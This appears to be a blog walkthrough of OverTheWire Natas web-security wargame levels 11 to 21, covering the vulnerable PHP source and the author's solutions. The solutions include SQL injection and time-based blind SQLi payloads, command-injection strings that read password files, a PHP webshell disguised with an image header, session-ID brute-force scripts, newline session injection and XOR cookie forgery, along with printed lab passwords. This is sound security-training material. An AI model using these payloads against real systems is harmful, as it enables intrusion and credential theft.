OTW – Natas

These are security problems from OverTheWire.. Natas teaches the basics of server side web-security.

Natas Level 20 → Level 21

As soon as you login to the level, you are greeted with a message saying that “You are logged in as a regular user. Login as an admin to retrieve credentials for natas21”. Looking at the sourcecode, we see a lots of stuffs.

<? 
function debug($msg) { /* {{{ */ 
    if(array_key_exists("debug", $_GET)) { 
        print "DEBUG: $msg<br>"; 
    } 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
    print "You are an admin. The credentials for the next level are:<br>"; 
    print "<pre>Username: natas21\n"; 
    print "Password: <censored></pre>"; 
    } else { 
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; 
    } 
} 
/* }}} */ 

/* we don't need this */ 
function myopen($path, $name) {  
    //debug("MYOPEN $path $name");  
    return true;  
} 

/* we don't need this */ 
function myclose() {  
    //debug("MYCLOSE");  
    return true;  
} 

function myread($sid) {  
    debug("MYREAD $sid");  
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return ""; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    if(!file_exists($filename)) { 
        debug("Session file doesn't exist"); 
        return ""; 
    } 
    debug("Reading from ". $filename); 
    $data = file_get_contents($filename); 
    $_SESSION = array(); 
    foreach(explode("\n", $data) as $line) { 
        debug("Read [$line]"); 
    $parts = explode(" ", $line, 2); 
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; 
    } 
    return session_encode(); 
} 

function mywrite($sid, $data) {  
    // $data contains the serialized version of $_SESSION 
    // but our encoding is better 
    debug("MYWRITE $sid $data");  
    // make sure the sid is alnum only!! 
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { 
    debug("Invalid SID");  
        return; 
    } 
    $filename = session_save_path() . "/" . "mysess_" . $sid; 
    $data = ""; 
    debug("Saving in ". $filename); 
    ksort($_SESSION); 
    foreach($_SESSION as $key => $value) { 
        debug("$key => $value"); 
        $data .= "$key $value\n"; 
    } 
    file_put_contents($filename, $data); 
    chmod($filename, 0600); 
} 

/* we don't need this */ 
function mydestroy($sid) { 
    //debug("MYDESTROY $sid");  
    return true;  
} 
/* we don't need this */ 
function mygarbage($t) {  
    //debug("MYGARBAGE $t");  
    return true;  
} 

session_set_save_handler( 
    "myopen",  
    "myclose",  
    "myread",  
    "mywrite",  
    "mydestroy",  
    "mygarbage"); 
session_start(); 

if(array_key_exists("name", $_REQUEST)) { 
    $_SESSION["name"] = $_REQUEST["name"]; 
    debug("Name set to " . $_REQUEST["name"]); 
} 

print_credentials(); 

$name = ""; 
if(array_key_exists("name", $_SESSION)) { 
    $name = $_SESSION["name"]; 
} 
?>

Let’s look at each function and see what it does:

  • debug($msg) just turn on debug. You can try it by adding “/index.php?debug” at the end of the url and hit enter to see the debug messages, $msg.
  • print_credentials()  will print natas21 username and password if the following conditionals are satisfied:
    • $_SESSION is true if there is an existing session. The array $_SESSION is not empty.
    • array_key_exists(“admin”, $_SESSION) is true if “admin” key is set in $_SESSION.
    • $_SESSION[“admin”] == 1 is true if the value associated with the key “admin” in $_SESSION is set to 1
  • myopen($path, $name) always return true.
  • myclose() always return true.
  • myread($sid) has several parts
    • The first if(strspn….) statement check if the $sid contains characters that is within the long string of characters. If it is not, return “Invalid SID”. Otherwise, continue.
    • Then, it check to see if the path exist for the file call /mysess_$sid. For example, if $sid is abcdefg, it is checking for the file mysess_abcdefg. If the file exist, continue.
    • Here, we see that the content of the file is save in $data and the foreach loop take each new line of $data and put it in $line. Then, it takes each space separated word in each $line and put them in an array call $parts. If the first part ($parts[0]) is not an empty string, then it will use the first part as the session key and the second part ($parts[1]) as the value corresponding to that key.
  • mywrite($sid, $data) also has several parts
    • The first if(strspn …) does the same check for valid $sid in myread()
    • The same $filename is created using the $sid.
    • The key is sorted in $_SESSION and the foreach loop take the pair of $key and corresponding $value and add it as a new line in $data. The $data is then write to the $filename.
  • mydestroy($sid) always return true.
  • mygarbage($t) always return true.
  • main interface does the following:
    • session_start().
    • check name is in the $_REQUEST, if so, set the $_SESSION[“name”] to $_REQUEST[“name”]. If we input “test” as a name, it will correspond “test” as the
    • print_credentials()
    • set $name to empty string and check if “name” is in the $_SESSION, if so, set the variable $name to $_SESSION[“name”]

So this seem to be a long explanation of the code but the most important part is the myread() and mywrite(). Especially in mywrite(), it is writing each $key and $value pair with a new line. We know from print_credentials(), we need a $key and $value pair of “admin” and 1 to get access to the next password. If we add a line “admin 1” in the file, the myread() function will read it out with no problem. So our input must be include “admin 1” on a newline. For example, if we put “test” and hit enter. We get a line like below in the file.

test

What we need is two lines like this.

test
admin 1

So by enter “test” plus newline plus “admin 1”, we should be able to get the password. We can code this in python as following:

#!/bin/python3
import requests

user = "natas20"
passwd = "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF" 
url = "http://"+user+".natas.labs.overthewire.org"
hack = dict(name="test\nadmin 1")

session = requests.Session()
session.post(url, auth=(user, passwd), data=hack)

httpreq = session.get(url, auth=(user, passwd))

print (httpreq.content)

From the printout of the contents, we found the next password.

IFekPyrQXftziDEsUr3x21sYuahypdgJ

We can also bypass using python and input this straight into the url as follow.

http://natas20.natas.labs.overthewire.org/index.php?debug&name=test%0Aadmin%201

Additional resources:

Natas Level 19 → Level 20

The page start with a message saying it is pretty much using the code from previous one except it is not sequential. Again, there is a username and a password field for you to login as admin and to retrieve credentials for natas20. No source code available. I entered a username: admin and password:password and intercepted the traffic using burp. Let see what the PHPSESSID looks like in the headers.

PHPSESSID=3534382d61646d696e; path=/; HttpOnly

That’s a lot of character for brute force. However, if you notice, the session id looks like hex. I quickly check what this is in ASCII.

548-admin

That seems a little too good to be true. Notice I use the user admin, so let modify our last script to enumerate 1 to 640 (hopefully $maxid is still the same), append that with “-admin”, convert the whole thing into hex string, set the PHPSESSID and see if we can get the next password.

#!/bin/python3
import requests
import binascii

def str2byte(s):
 return bytes(s, encoding='utf-8')

def byte2hex(b):
 return ''.join([hex(n)[2:].rjust(2,'0') for n in b])

def str2hex(s):
 return byte2hex(str2byte(s))

maxid = 641
user = "natas19"
passwd = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" 
url = "http://"+user+".natas.labs.overthewire.org"
admin = '-admin'
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
 c = dict(PHPSESSID=str2hex(str(i)+admin))
 h = requests.get(url, auth=(user, passwd), cookies=c)
 if match in str(h.content):
 print (h.content)
 break

We got the next password in the content again (id=501). With the id at such high number in the last level, I had a temptation to run the range reverse or use random generator to pick my id. However, in real life, unless you had a reason to suspect the id is not generated randomly, there is no penalty to start from the lowest number to highest number for the brute force attack because the average guess will be the same ($maxid/2).

eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

In the python code, I reuse codes from set 1 of the matasano crypto challenges. There are documentation on how to convert between binary and ASCII below.

Additional resources:

Natas Level 18 → Level 19

The page start with a username and a password field for you to login as admin and to retrieve credentials for natas19. From the source code, it is not as simple.

<? 
$maxid = 640; // 640 should be enough for everyone 

function isValidAdminLogin() { /* {{{ */ 
 if($_REQUEST["username"] == "admin") { 
 /* This method of authentication appears to be unsafe and has been disabled for now. */ 
 //return 1; 
 } 
 return 0; 
} 
/* }}} */ 
function isValidID($id) { /* {{{ */ 
 return is_numeric($id); 
} 
/* }}} */ 
function createID($user) { /* {{{ */ 
 global $maxid; 
 return rand(1, $maxid); 
} 
/* }}} */ 
function debug($msg) { /* {{{ */ 
 if(array_key_exists("debug", $_GET)) { 
 print "DEBUG: $msg<br>"; 
 } 
} 
/* }}} */ 
function my_session_start() { /* {{{ */ 
 if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
 if(!session_start()) { 
 debug("Session start failed"); 
 return false; 
 } else { 
 debug("Session start ok"); 
 if(!array_key_exists("admin", $_SESSION)) { 
 debug("Session was old: admin flag set"); 
 $_SESSION["admin"] = 0; // backwards compatible, secure 
 } 
 return true; 
 } 
 } 
 return false; 
} 
/* }}} */ 
function print_credentials() { /* {{{ */ 
 if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { 
 print "You are an admin. The credentials for the next level are:<br>"; 
 print "<pre>Username: natas19\n"; 
 print "Password: <censored></pre>"; 
 } else { 
 print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; 
 } 
} 
/* }}} */ 
$showform = true; 
if(my_session_start()) { 
 print_credentials(); 
 $showform = false; 
} else { 
 if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { 
 session_id(createID($_REQUEST["username"])); 
 session_start(); 
 $_SESSION["admin"] = isValidAdminLogin(); 
 debug("New session started"); 
 $showform = false; 
 print_credentials(); 
 } 
} 
if($showform) { 
?>

Let’s look at the code to see what this is doing.

  • At the top, $maxid is set to 640 seems to indicated that there are only 640 id available.
  • Next, isValidAdminLogin() function will always return 0. The if statement does nothing.
  • IsValidID() is only checking if the $id is numeric.
  • createID() randomly pick a user id from 1 to 640 ($maxid)
  • debug() print debug message if “debug” key is set in $_GET
  • my_session_start() does several things here
    • It checks if PHPSESSID set in $_COOKIE, and the set value is numeric, if false on either condition, my_session_start() return false. PHPSESSID is a cookie to store unique session id string in user’s computer.
    • If true on above condition, it will then checks if session has failed to start (session_start() return false), if so, it prints a debug message and return false for my_session_start()
    • Otherwise if a session has successfully started (session_start() is true) and return true for my_session_start(). It also set the $_SESSION variable for key “admin” to 0 if the key “admin” is NOT in the $_SESSION variable array.
  • print_credentials will print the next password if $_SESSION has something in it and contain an “admin” key in $_SESSION with its variable set to 1. Otherwise, a regular user message is printed.
  • main function check
    • if my_session_start() is true then call print_credentials(). Which means a PHPSESSID exist in $_COOKIE and the value is numeric before calling print_credentials().
    • otherwise, if my_session_start() is false means either PHPSESSID is not in $_COOKIE or the value is not numeric or session_start() return false (session failed to start). It will check if the key “username” exist in $_REQUEST and “password” exist in $_REQUEST, if so, it will get a number between 1 and 640 and make that as the current session id, start a new session (session_start()), set the “admin” key in $_SESSION to 0 (invalid admin login), and finally call print_credentials.
So to get the next password, we must take the then path in main function with the “admin” key in $_SESSION set to 1. In order to do that, the “admin” key must already be in the $_SESSION. However, unless we are already in the “admin” session, we really can’t do anything to the “admin” value because any new session will set the “admin” in $_SESSION to 0.In another word, the only way to do this is to fake our session id so that it is the “admin” session id, and the value is set to 1 in $_SESSION for “admin”. From createID(), we see that session id is selected between 1 to 640. Since there are only 640 session id available due to the $maxid constraint when createID(), we can enumerate the session id by setting PHPSESSID in $_COOKIE to one of the value and check the return for the matching admin message in print_credentials().

Coding a for loop to do this automatically. Using python requests library make this task super easy.

#!/bin/python3
import requests
maxid = 641
url = "http://natas18.natas.labs.overthewire.org"
user = "natas18"
passwd = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
match = "You are an admin. The credentials for the next level are:"

for i in range(maxid):
    c = dict(PHPSESSID=str(i))
    h = requests.get(url, auth=(user, passwd), cookies=c)
    if match in str(h.content):
        print (h.content)
        break

Took us a while (id=585) but we got the next password in the content.

4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

This challenge forced me to read up on PHP session handling and some of the functions. I included some of the references that help understand the PHP code.

Additional resources:

Natas Level 17 → Level 18

The page contain a username for you to check if the user exist but after you enter anything, it return a blank page. Looking at the source code, we can see there is a very similar attack to use from our sql injection from Level 15 → 16 but comments out all responses.

<? 
/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas17', '<censored>'); 
    mysql_select_db('natas17', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        //echo "This user exists.<br>"; 
    } else { 
        //echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        //echo "Error in query.<br>"; 
    } 
    mysql_close($link); 
} else { 
?>

Notice that beside the comments out echo, the code is exactly the same as Level 15 → 16. This mean we can still do sql injection but we need some other way to let us know our username/password guess is correct. Luckily, there is a query command call SLEEP that causes the process to sleep for a number of seconds. We try using this by guessing our next username natas18 with the following input.

natas18" and SLEEP(10); #
The blank page comes back unusually long indicate that natas18 is one of the username exist in the database. We verify it by putting anything else in place of natas18 and the blank page comes back immediately. This tells us that it is using short circuit evaluation for the “and” predicate. This time, let’s use REGEXP instead of LIKE to show the same attack. We can search a range instead of one character at a time using [a-z] for a to z. Manually doing a binary search of all characters gives us the first character of the next password.
natas18" AND password COLLATE latin1_general_cs REGEXP "^x" AND SLEEP(3); #
We are ready to modify our previous program to include a timing attack by detecting when the server response, we can tell which of our guess is correct. After playing with the code to include a time different check between each request and response time (> 2.0 sec), we got the next password.
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Using a binary search algorithm in our script and choosing a short enough sleep time really shorten the overall execution time by a lot.

Additional resources:

Natas Level 16 → Level 17

This looks similar to Natas Level 10 → Level 11 except with more illegal character.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>

If we put any word as input, it will search the dictionary (regardless of case, grep -i) and output all those words. As you can see the input is not sanitize except for those illegal character. What we need is to craft commands that fit into $key and give us back the next password. From bash, we found that () can be use to execute subshell commands and using $, we can substitute the result of the subshell  into the grep -i command above. We can use cut to get one character at a time from the default password file.

$(cut -c 1 /etc/natas_webpass/natas17)
When we enter this in the input, we got nothing. However, if we try the second character, we immediately get a full page of text. What happen is that the dictionary file does not contain digit, only letters. The second letter of the password seems to be a p or P but we don’t know because the grep in front have -i option to ignore case. We could try to use grep instead like we did in our last challenge. Since we know the first character is probably a digit from our cut command, we can check all digit using this.
$(grep ^0 /etc/natas_webpass/natas17)
If we run the above command from 0-7, we will be greeted with the whole dictionary file. However, when we hit 8, nothing output. This mean that 8 is in the next password. Let’s append a word at the end so that when we didn’t match, it will return that word, and when we found the correct character, that character will prepend the word and cause no match to the dictionary.
$(grep ^8 /etc/natas_webpass/natas17)Africans

Now, we will reuse our script from last level and tweet it to input the above and vary the character we search. Notice we can just change the url encoding each time we try a different character. The first “X” after grep is the location where your password string go as you discover each character.

http://natas16.natas.labs.overthewire.org/?needle=%24%28grep+%5EX+%2Fetc%2Fnatas_webpass%2Fnatas17%29Africans&submit=Search

We can also try to do a binary search by using more than one character inside [] after the ^.

$(grep ^8[01234567890] /etc/natas_webpass/natas17)Africans

For example, the above will check if the second character is also a digit after we find the correct first digit (8). Once you loop through all 32 characters (we will assume its 32 but you can test it by append a wild card at the end each time to verify if there are more undiscover character), the next password will be your final output.

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Additional resources:

Natas Level 15 → Level 16

The page contain a username for you to check if the user exist. Looking at the source code, we can see there is a very similar attack to use from our sql injection from previous level

<? 

/* 
CREATE TABLE `users` ( 
  `username` varchar(64) DEFAULT NULL, 
  `password` varchar(64) DEFAULT NULL 
); 
*/ 

if(array_key_exists("username", $_REQUEST)) { 
    $link = mysql_connect('localhost', 'natas15', '<censored>'); 
    mysql_select_db('natas15', $link); 
     
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 
    if(array_key_exists("debug", $_GET)) { 
        echo "Executing query: $query<br>"; 
    } 

    $res = mysql_query($query, $link); 
    if($res) { 
    if(mysql_num_rows($res) > 0) { 
        echo "This user exists.<br>"; 
    } else { 
        echo "This user doesn't exist.<br>"; 
    } 
    } else { 
        echo "Error in query.<br>"; 
    } 

    mysql_close($link); 
} else { 
?>

Notice that this time, it only check for the username and return only two response, either the user exists or not. However, from our last sql injection, we can see that this code is still not sanitizing the double quote which mean we can input what in the first line below into the user input form to include the criteria for password (see the previous level) and create query like the second line

X" and password = "X
SELECT * from users where username = "X" and password = "X"
However, the response is only the user exist or not. Therefore, we need to find the username and then find out what the password. From our previous levels, we know this time we are looking for user natas16 password. If we just try that username, the user exist! Next, if you remember, all of the password for each level are 32 characters. One way to find out if this is true is to use the sql LIKE and wildcard to check the user still exist if we put the following input.
natas16" and password like "________________________________
Indeed, we put 32 “_” characters and the user still exist but not with 33 because “_” is a wildcard for a single character. Now, instead of putting 32 “_”, we put a% at the end where % is wildcard for any number of any character, we can check to see if the first character start with a. If you try this up to w, it will produce the user exist response but W also works. The reason is that upper and lower case are not distinguish. Therefore, after “like”, we put “binary” before W%” to make sure this is case sensitive. Obviously, doing this 32 times is a bit too much. So I got a python script to do exactly that. After we run our program for a while, the next password is shown at the end.
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Beside using like, regexp is also possible to use in sql. However, the wildcard characters are different. Finally, Burp, the tool that we have been using to intercept our traffic has a function call Intruder where you can set your payload to brute forcer and do exactly the python script does for each characters.

Additional resources:

Natas Level 14 → Level 15

The page contain a username and a password to be able to login. Looking at the source code, we can see that the username and password will be use as part of the sql query to obtain the authentication.

<? 
if(array_key_exists("username", $_REQUEST)) { 
 $link = mysql_connect('localhost', 'natas14', '<censored>'); 
 mysql_select_db('natas14', $link); 
 
 $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; 
 if(array_key_exists("debug", $_GET)) { 
 echo "Executing query: $query<br>"; 
 } 

 if(mysql_num_rows(mysql_query($query, $link)) > 0) { 
 echo "Successful login! The password for natas15 is <censored><br>"; 
 } else { 
 echo "Access denied!<br>"; 
 } 
 mysql_close($link); 
} else { 
?>

We see that the first if statement check if the username exists, if so, create connection $link using mysql_connect to database natas14.

Next, the $query is constructed our of username and the password. However, the if statement under that said if there is a “debug” in our $_GET, the $query will be echo.

Lastly, it will check if the $query and the $link return more than 0 rows. If so, we get the password, otherwise, access is denied.

The key is to get the query return at least 1 row but we could return as many as we want. Let’s use the debug feature to see what the query looks like by supplying the following url.

http://natas14.natas.labs.overthewire.org/index.php?username=user&password=password&debug
Executing query: SELECT * from users where username="user" and password="password"
Access denied!
We can see that what we input in the username and password field is being use as the input for the query. A classic SQL injection is to finish the double quote and add something that is always true and match the closing double quote. Since we surrounded by double quotes, we could use something that will produce a query like this:
SELECT * from users where username="" or ""="" and password="" or ""=""
Comparing the two queries, the username and password provided in the form is shown below to match the double quote that used in the query while create an always true query.
" or ""="
After we input and hit login, the next password is shown with a successful login message.
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Additional resources:

Natas Level 13 → Level 14

The source code for the php looks almost the same except there is additional condition to check for an image file in the main program using exif_imagetype().

<? 

...

if(array_key_exists("filename", $_POST)) { 
 $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 

 if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
 echo "File is too big"; 
 } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { 
 echo "File is not an image"; 
 } else { 
 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
 echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
 } else{ 
 echo "There was an error uploading the file, please try again!"; 
 } 
 } 
} else { 
?> 

<form enctype="multipart/form-data" action="index.php" method="POST"> 
<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 
Choose a JPEG to upload (max 1KB):<br/> 
<input name="uploadedfile" type="file" /><br /> 
<input type="submit" value="Upload File" /> 
</form> 
<? } ?>

What exif_imagetype() does is reads the first bytes of an image and checks its signature. If we use the same strategy from our last level, we will greet with a message “For security reasons, we now only accept images files! File is not an image”. So we need to fool exif_imagetype() by uploading a file that looks like an image but it is other type.

Google file signature will show that jpg/jpeg file has a signature of “FF D8 FF” with 0 Offset. If we put this value at the very beginning of our last solution, it can fool exif_imagetype().

First we create the jpg heading using echo in linux and save it to any file.

echo -e "\xff\xd8\xff" > natas13.jpg

Then we reuse our php file from last time, rename the file to natas13.php and change the password file from natas13 to natas14.

<?php
 echo passthru("cat /etc/natas_webpass/natas14");
?>

Finally, we combine then as one file.

cat natas13.jpg natas13.php > natas13f.php

Now we will repeat what we did in last challenge by uploading this file. Intercept it to change the filename before forwarding it to the server. Before clicking the link, make sure to intercept the response from server as well. Click the link and the response in burp will show the next password even though in the browser it shown as a broken image (ie).

 Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Note: I later found out that it was checking for any image file signature, not just jpg. Therefore, we can actually put “BM” (\x42\x4d) which is the signature for BMP at the beginning of our php file without doing any bash to modify the beginning of the file.

Additional resource:

Natas Level 12 → Level 13

Once login, we are able to upload a JPEG file. From the source code, we see that there are three functions within the main program and a form.

function genRandomString() { 
 $length = 10; 
 $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; 
 $string = ""; 

 for ($p = 0; $p < $length; $p++) { 
 $string .= $characters[mt_rand(0, strlen($characters)-1)]; 
 } 
 return $string; 
} 

function makeRandomPath($dir, $ext) { 
 do { 
 $path = $dir."/".genRandomString().".".$ext; 
 } while(file_exists($path)); 
 return $path; 
} 

function makeRandomPathFromFilename($dir, $fn) { 
 $ext = pathinfo($fn, PATHINFO_EXTENSION); 
 return makeRandomPath($dir, $ext); 
} 

if(array_key_exists("filename", $_POST)) { 
 $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); 

 if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { 
 echo "File is too big"; 
 } else { 
 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
 echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; 
 } else{ 
 echo "There was an error uploading the file, please try again!"; 
 } 
 } 
} else { 
?> 

<form enctype="multipart/form-data" action="index.php" method="POST"> 
<input type="hidden" name="MAX_FILE_SIZE" value="1000" /> 
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" /> 
Choose a JPEG to upload (max 1KB):<br/> 
<input name="uploadedfile" type="file" /><br /> 
<input type="submit" value="Upload File" /> 
</form> 
<? } ?>

The first function, getRandomString() return a string of 10 random characters from 0-9a-z.

The second function, makeRandomPath() takes a directory, $dir and an extension, $ext to create a $path using getRandomString(). Notice the extension in here is not modified.

The third function, makeRandomPathFromFilename() takes a directory, $dir and a filename $fn, create an extension, $ext and return the result of makeRandomPath() using the same $dir and $ext. The call to pathinfo returns information about a file path, in this case the entension of $fn.

The main program check If the filename exist in the upload, if so, then the $target_path is set to upload/filename.ext. It also check for filesize and make sure the upload is successful.

The form hidden field put constraint on MAX_FILE_SIZE, set the filename to getRandomString() with an .jpg extension. In fact, if we view source, we can see (in this case) the pre-determined filename for my upload will be 3zpebzm4p1.jpg. We can also access this file later.

The goal here is to upload some file that we can execute when we access it later. But because the form changes the filename to take a jpg extension, we also need to intercept the form, change the filename back to other file extension (e.g. php) and then send it to the server. So let code a simple php that will review the password. We can use the passthru() in PHP to execute a command. We’ll use the following as our upload file:

<?php
  echo passthru("cat /etc/natas_webpass/natas13");
?>

We will upload our file (natas12.php) but intercept the outgoing message with burp. Notice, the filename extension has changed to .jpg when we intercepted it. We changed it back to .php before forwarding the message to the server.

Content-Disposition: form-data; name="filename"
3zpebzm4p1.jpg php

As expected, the message return contain the correct filename extension. Clicking on the link will execute the php code and the next password is shown as plaintext.

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Other php commands that also give similar result: readfile() and file_get_contents().

Additional Resource:

Natas Level 11 → Level 12

When we login to Natas11, we are greeted with a message “Cookies are protected with XOR encryption”. So we should look at the source code and the cookie value. From burp suite, we can see the Set-Cookie: has a cookie calls data with the following value:

ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D

Next, looking at the source code, we see some php code as follow:

<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
 $key = '<censored>';
 $text = $in;
 $outText = '';

 // Iterate through each character
 for($i=0;$i<strlen($text);$i++) {
 $outText .= $text[$i] ^ $key[$i % strlen($key)];
 }

 return $outText;
}

function loadData($def) {
 global $_COOKIE;
 $mydata = $def;
 if(array_key_exists("data", $_COOKIE)) {
 $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
 if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
 if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
 $mydata['showpassword'] = $tempdata['showpassword'];
 $mydata['bgcolor'] = $tempdata['bgcolor'];
 } } }
 return $mydata;
}

function saveData($d) {
 setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
 if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
 $data['bgcolor'] = $_REQUEST['bgcolor'];
 }
}
saveData($data);
?>

Let’s look at each function closely.

  • we can see that $defaultdata is an array of two values, “showpassword”=>”no” and “bgcolor”=>”#ffffff”.
  • The function xor_encrypt takes an input $in ($text) and xor (^) with the $key and store the value in $outText. If the $key is shorter than the $text, it will reuse the $key value in a loop. see the line. The $outText is return.
$outText .= $text[$i] ^ $key[$i % strlen($key)];
  • The function loadData takes an input $def ($mydata) and check if “data” array_key_exists in $_COOKIE.
    • If “data” exist, then use the cookie data to decode into $tempdata by the following steps
      • base64_decode
      • xor_encrypt
      • json_decode
    • Verify if the following is true for $tempdata
      • is_array
      • array_key_exists for “showpassword”
      • array_key_exists for “bgcolor”
    • If the above are all true and the bgcolor value is valid, then update $mydata using $tempdata. return $mydata.
  • saveData function takes an input $d and encode it by the following steps
    • json_encode
    • xor_encrypt
    • base64_encode
    • setcookie as “data”
  • The main code will do the following
    • set $data as $defaultdata using loadData
    • saveData($data)
    • check if $data has “showpassword” set to “yes”, if so , show the password for the next level.

The goal is to have the cookie data store an encrypted value of “showpassword”=>”yes”. To do that, we need to know the $key, which is unknown at this point. However, we can get that from the $defaultdata and cookie value. Since xor have the following property

x ^ x = 0
x ^ 0 = x

If we denote m as message ($defaultdata), k as $key and c as the encrypted cookie data. We know m and c but not k, but we can find it using the following:

m ^ k = c
m ^ k ^ m = c ^ m
k = c ^ m

Therefore, if we xor c (“data” cookie value) and m ($defaultdata), we can find out the key and use it to encrypt a new message for the cookie data. Notice the encryption is surrounded by base64 encoding and json encoding.

<?
$cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D');
$default = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$modify = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));

function xor_encrypt($in1, $in2) {
 $text = $in1;
 $key = $in2;
 $outText = '';

 // Iterate through each character
 for($i=0;$i<strlen($text);$i++) {
 $outText .= $text[$i] ^ $key[$i % strlen($key)];
 } 
 return $outText;
} 
echo xor_encrypt($cookie, $default);
echo "\r\n";
$realkey = "qw8J";
echo base64_encode(xor_encrypt($modify, $realkey));
echo "\r\n";
?>

Therefore, we must do the same. Reuse the xor_encrypt function by changing $key and $text as json_encode($defaultdata) and base64_decode(cookie data value), we can see the real key repeat as “qw8J”. We change the value from no to yes in our default array and xor encrypt it with “qw8J” to produce a string that we will base64_encode to get our final cookie data that we will send it back to trick the host.

qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8JqL
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK

Once we do that, we get the next password.

EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3